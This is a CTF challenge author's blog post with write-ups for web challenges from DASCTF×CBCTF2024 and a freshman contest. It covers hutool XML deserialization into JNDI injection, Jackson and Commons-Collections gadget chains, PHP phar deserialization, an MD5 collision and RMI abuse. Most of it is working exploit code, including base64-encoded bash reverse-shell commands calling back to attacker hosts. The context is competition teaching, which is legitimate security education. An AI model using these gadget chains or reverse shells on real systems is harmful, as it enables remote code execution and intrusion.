自己出的几道题

发布于 2025-02-18  339 次阅读


自己出的几道题

DASCTF * CBCTF2024

ezlogin

个人java底层学的不是很深,但是大点儿的比赛能拿出手的也只有java了ToT

出这道题主要是发现hutool的一个XML反序列化漏洞,反序列化恶意xml的时候可以利用xml执行java代码

然后由于java xml的特性,最短的payload应该就是打JNDI

JNDI的话又可以去考魔改ysoserial,打jackson的链子(参考hgame2024 week4的ishortyou1)

xml注入和减少长度的方式就是一个修改密码处的replace啦。比较巧的是正好可以用最长用户名和密码的xml文件来限制payload长度

wp:

在editPass接口:
image_mak
UserUtil.changePassword方法:
image_mak
发现是直接用replace来重置密码
在del接口的UserUtil.delUser方法:
image_mak
并没有重置JSESSION,而editPassword的oldPass又是从session中拿的
因此可以通过注册session为待修改的部分,修改为payload,用于xml反序列化
有长度限制,ban了java.和springframework.,不能直接RCE
注意到Spring版本存在Jackson链子,直接打JNDI注入触发gadget:

<java>
    <object class="javax.naming.InitialContext">
        <void method="lookup">
            <string>rmi://ip:port/a</string>
        </void>
    </object>
</java>

长度限制可以用递归绕,即:

payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://"+rmiserver+"/a</string></void></object></java><!--"
list1 = []
for i in range(0,len(payload1),5) :
    if len(payload1) - i >= 5:
        list1.append(payload1[i:i+5:]+"_____")
    else:
        list1.append(payload1[i:len(payload1)])
        break
print(list1)
if len(list1[-1]) < 3:
    list1[-1]=list1[-2][-8:-5:]+list1[-1]
    list1[-2]=list1[-2][0:2]+list1[-2][-5:-1:]
print(list1)

每次均替换“__”为下一段payload即可
同时利用该方法修改注释掉的xml部分,每个"<",">"之间都修改为最短的三字符,即可缩短xml文件至最小长度。
预期最短的xml应该是:

<!-->
111<111>
111<111>
111<111>D<111>
111<111>
111<111>
111<111>--><java><object class="javax.naming.InitialContext"><void method="lookup"><string>rmi://172.22.192.119:8888/a</string></void></object></java><!--<111>
111<111>
111<111>
</!-->

不过不需要这么极限,注释掉的部分随便改改短就可以了,用户名最短一字符。
修改ysoserial的ysoserial.exploit.JRMPListener来发送序列化数据:

  public static void serialize(Object obj) throws Exception {
        ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        objo.writeObject(obj);
    }

    public static void unserialize() throws Exception{
        ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
        obji.readObject();

    }

    public static byte[][] generateEvilBytes() throws Exception{
        ClassPool cp = ClassPool.getDefault();
        cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = cp.makeClass("evil");
        String cmd = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL2lwLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}\");";
        // 修改为自己的ip port
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
        byte[][] evilbyte = new byte[][]{cc.toBytecode()};

        return evilbyte;

    }

    public  static <T> void setValue(Object obj,String fname,T f) throws Exception{
        Field filed = TemplatesImpl.class.getDeclaredField(fname);
        filed.setAccessible(true);
        filed.set(obj,f);
    }
 // 删除writeReplace
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod wt = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(wt);
        ctClass0.toClass();

        //构造恶意TemplatesImpl
        TemplatesImpl tmp = new TemplatesImpl();
        setValue(tmp,"_tfactory",new TransformerFactoryImpl());
        setValue(tmp,"_name","123");
        setValue(tmp,"_bytecodes",generateEvilBytes());

//        //不稳定的触发
//        ObjectMapper objmapper = new ObjectMapper();
//        ArrayNode arrayNode =objmapper.createArrayNode();
//        arrayNode.addPOJO(tmp);
//
//
//        BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
//        Field f = BadAttributeValueExpException.class.getDeclaredField("val");
//        f.setAccessible(true);
//        f.set(ex,arrayNode);
//
//        serialize(ex);
//        System.out.println(getb64(ex));
//        System.out.println(getb64(ex).length());
//        unserialize();

        //稳定触发

        AdvisedSupport support = new AdvisedSupport();
        support.setTarget(tmp);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
        Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);

        ObjectMapper objmapper = new ObjectMapper();
        ArrayNode arrayNode =objmapper.createArrayNode();
        arrayNode.addPOJO(proxy);

        BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
        Field f = BadAttributeValueExpException.class.getDeclaredField("val");
        f.setAccessible(true);
        f.set(ex,arrayNode);

        oos.writeObject(ex);

        oos.flush();
        out.flush();

并在vps上运行

mvn clean package --DskipTests
cd target/
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 a a

启动JRMPListener后运行exp:

import requests
import sys

targeturl = "http://"+sys.argv[1] //靶机地址

rmiserver = sys.argv[2] //rmi服务器地址

sessions = {}

def register(passwd):
    data={"password":passwd,"username":"F"}
    res = requests.post(targeturl+"/register",data=data)
    if "success" in res.text.lower():
        print(f"register {passwd} success")
    else : print(f"register fail: {res.text}");exit(114514)

def getsession(passwd):
    data={"password":passwd,"username":"F"}
    res = requests.post(targeturl+"/login",data=data)
    if "redirect" in res.text.lower() :
        session=res.headers.get("Set-Cookie").split(";")[0].split("=")[1]
        print(f"session for {passwd} : {session}")
        headers = {"Cookie" : f"JSESSIONID={session}"}
        sessions[passwd] = headers
    else:
        print(f"login fail : {res.text}");exit(114514)

def editpass(oldpass,newpass):
    data={"newPass":newpass}
    headers = sessions[oldpass]
    res = requests.post(targeturl+"/editPass",data=data,headers=headers)
    if "success" in res.text.lower():
        print(f"change {oldpass} to {newpass} success")
    else:
        print(f"edit fail : {res.text}");exit(114514)

def deluser(passwd):
    res = requests.get(targeturl+"/del",headers=sessions[passwd])
    if "success" in res.text.lower():
        print(f"delete {passwd} success")

def addsession(passwd):
    register(passwd)
    getsession(passwd)
    deluser(passwd)

payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://"+rmiserver+"/a</string></void></object></java><!--"
list1 = []
for i in range(0,len(payload1),5) :
    if len(payload1) - i >= 5:
        list1.append(payload1[i:i+5:]+"_____")
    else:
        list1.append(payload1[i:len(payload1)])
        break
print(list1)
if len(list1[-1]) < 3:
    list1[-1]=list1[-2][-8:-5:]+list1[-1]
    list1[-2]=list1[-2][0:2]+list1[-2][-5:-1:]
print(list1)

list2=[]
payload2="11111 class=\"org.example.auth.User\""
for i in range(0,len(payload2),10) :
    if len(payload2) - i >= 10:
        list2.append(payload2[i:i+10:])
    else:
        list2.append(payload2[i:len(payload2)])
        break
print(list2)
for s in list2:
    addsession(s)

list3=[]
payload3="void property=\"username\""
for i in range(0,len(payload3),10) :
    if len(payload3) - i >= 10:
        list3.append(payload3[i:i+10:])
    else:
        list3.append(payload3[i:len(payload3)])
        break
print(list3)

list4=[]
payload4="void property=\"password\""
for i in range(0,len(payload4),10) :
    if len(payload4) - i >= 10:
        list4.append(payload4[i:i+10:])
    else:
        list4.append(payload4[i:len(payload4)])
        break
print(list4)

addsession("_____")

addsession("____")

for s in list3:
    addsession(s)

for s in list4:
    addsession(s)

addsession("string")

addsession("object")

addsession("/void")

addsession("    ")

addsession("1111111111")

addsession("/11111")

addsession("java")

addsession("11111")

register("haha")
getsession("haha")
editpass("java","!--")

editpass("string","11111")
editpass("object","11111")

editpass("/11111","11111")
editpass("    ","11111")

editpass("/void","111")

for s in list2:
    editpass(s,"11111")

for s in list3:
    editpass(s,"11111")

for s in list4:
    editpass(s,"11111")

editpass("1111111111","11111")
editpass("1111111111","11111")

editpass("haha",list1[0])

editpass("11111","111")

# Now it's the shortest (237)

for payload in list1[1::]:
    editpass("_____",payload)

editpass("____","<!--")

requests.post(targeturl+"/login",data={"username":"F","password":"1"})

在vps成功收到反弹shell:
image_mak

2024赛博杯新生赛

去年拼死拼活想打进0RAYS,今年拼死拼活一个人给新生出了所有web题

SignIn

主要是lhr跟我说了个明文md5碰撞,感觉很有意思(https://x.com/realhashbreaker/):

md5("TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak")
=
md5("TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak")

Hack the SunRun

研究阳光长跑的时候,想办法把阳光长跑小程序的前端扒拉下来看api,结果发现没有js,不想白干于是就拿来出题了(恼)

题目很简单,脚本访问https的方法也给出来了,主要就是考验新生的脚本编写能力,大家完成的都不错

就是通过控制好请求position接口的经纬度和clock的次数,把路程和速度控制在合理范围就好了

import requests
from urllib3.exceptions import InsecureRequestWarning
import warnings
warnings.simplefilter('ignore', InsecureRequestWarning)

def run_222m():
    ll = {"latitude": 1.3064432, "longitude": 103.8506224}
    requests.post("https://172.22.57.214:6333/api/getposition",json=ll,verify=False)
    ll_1 = {"latitude": 1.3054432, "longitude": 103.8506224}
    requests.post("https://172.22.57.214:6333/api/getposition",json=ll_1,verify=False)

def time_add_1s():
    requests.get("https://172.22.57.214:6333/api/clock",verify=False)

def getdistance():
    print(requests.get("https://172.22.57.214:6333/api/getdistance",verify=False).text)

def end():
    print(requests.get("https://172.22.57.214:6333/end",verify=False).text)

# run 2109m
for i in range(10):
    run_222m()

# in 324s
for i in range(324):
    time_add_1s()

end()

image_mak

Note 1

一个extract,没啥好说

Note 2

php反序列化链子+phar反序列化,并且还有非预期(call_user_func直接走invoke),也没啥好说
exp:

<?php
// easy unserialize chain =v=

class notes{
    function __construct($filepath){
        readfile($filepath);
    }
}

// flag in /flag , let's go !!
class _0rays{
    public $jbn;
    public $pankas;
}

class lets{
    public $mak4r1 = "wwwDm";
    public $ech0;
    public $rocket;
    public $errmis = "/flag";

}

class go{
    public $ed_xinhu;

}

$r = new _0rays();
$r -> jbn = "phpinfo";
$l = new lets();
$r -> pankas = $l;
$g = new go();
$l2 = new lets();
$g -> ed_xinhu = $l2;
$l1 = new lets();
$l1 -> ech0 = $g;
$l -> rocket = $l1;

echo serialize($r);
$phar = new Phar('PO.phar'); 
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); 
$phar->addFromString('test.txt', 'test'); 
$phar->setMetadata($r); 
$phar->stopBuffering();

Note 3

灵感来自之前派神给的一个 gadget合集

CC3.2.2 下可以实现toStringput,那可以利用BAVE走toString再利用CC3.2.2即可实现任意put,然后题目自定义map会读put到的文件名,读个/flag就好了

package org.example;

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

// BadAttributeValueExpException#readObject -> getter
public class BAVEReadObject2ToString {
    public static void main(String[] args) throws Exception{
        ConstantTransformer constantTransformer = new ConstantTransformer("/flag");
        NoteMap putMapClass = new NoteMap();

        LazyMap lazymap = (LazyMap) LazyMap.decorate(putMapClass, constantTransformer);
        LazyMap lazymap1 = (LazyMap) LazyMap.decorate(new HashMap(), constantTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap1, "useless");
        setFieldValue(tiedMapEntry, "map", lazymap);
        setFieldValue(tiedMapEntry, "key", "useless");
        BadAttributeValueExpException bave = new BadAttributeValueExpException(null);
        setFieldValue(bave, "val", tiedMapEntry);
//        byte[] bytes = serialize(bave);
//        unserialize(bytes);
        System.out.println(getb64(bave));
    }
    public static void setFieldValue(Object obj, String field, Object val)
            throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        return baos.toByteArray();
    }
    public static String getb64(Object obj) throws Exception{
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream objout = new ObjectOutputStream(bout);
        objout.writeObject(obj);
        String base64 = Base64.getEncoder().encodeToString(bout.toByteArray());
        return base64;
    }
    public static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();}

}

莫沙灯塔

出题的时候正好和对象看了消失的她,出来之后好几天都沉浸在电影结局的悲伤中(也是被感情戏俘虏了),就叫了这个名字,其实除了明面上写了点东西,题目和电影没多大关系,不影响食用,0解还是因为比赛打得人水平大部分是新生吧

考的是对RMI的理解,题目做起来简单但是实现起来有点难,把类实时动态编译还要自己写一个编译器,然后还要把类对象托管到RMI server反正自己写不出来用AI cv开发豆开发了好久哈哈哈,属实是很菜了

思路就是先直接执行命令拿服务端的flag,再在服务端构造一个对象给客户端打CC反序列化,把客户端的shell弹出来

然后就是没有import所以类名要写全

try{
    String result = new String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("/flag")));
    return result;
} catch (Exception e) {
    return e.getMessage();
}
try {
    org.apache.commons.collections.Transformer[] transformers = {
            new org.apache.commons.collections.functors.ConstantTransformer(Runtime.class),
            new org.apache.commons.collections.functors.InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new org.apache.commons.collections.functors.InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new org.apache.commons.collections.functors.InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMS4xOTkuMzkuNC8zMDAwIDA+JjE=}|{base64,-d}|{bash,-i}"})
    };
    org.apache.commons.collections.functors.ChainedTransformer ct = new org.apache.commons.collections.functors.ChainedTransformer(transformers);
    java.util.Map lazymap = org.apache.commons.collections.map.LazyMap.decorate(new java.util.HashMap(), new org.apache.commons.collections.functors.ConstantTransformer("1"));
    org.apache.commons.collections.keyvalue.TiedMapEntry tiedMapEntry = new org.apache.commons.collections.keyvalue.TiedMapEntry(lazymap, "2");
    java.util.HashMap<Object, Object> hashMap = new java.util.HashMap<>();
    hashMap.put(tiedMapEntry, "3");

    lazymap.remove("2");

    Class<org.apache.commons.collections.map.LazyMap> lazyMapClass = org.apache.commons.collections.map.LazyMap.class;
    java.lang.reflect.Field factoryField = lazyMapClass.getDeclaredField("factory");
    factoryField.setAccessible(true);
    factoryField.set(lazymap, ct);
    return hashMap;
} catch (Exception e) {
    return e;
}

这个恶意对象的构造是在服务端实现的,也就是服务端也有CC依赖
不知道动态编译环境下能不能用classLoader加载远程jar包,然后用jar包的类构造对象,这样的话服务端也可以没有CC依赖,没研究

A web ctfer from 0RAYS
最后更新于 2025-02-18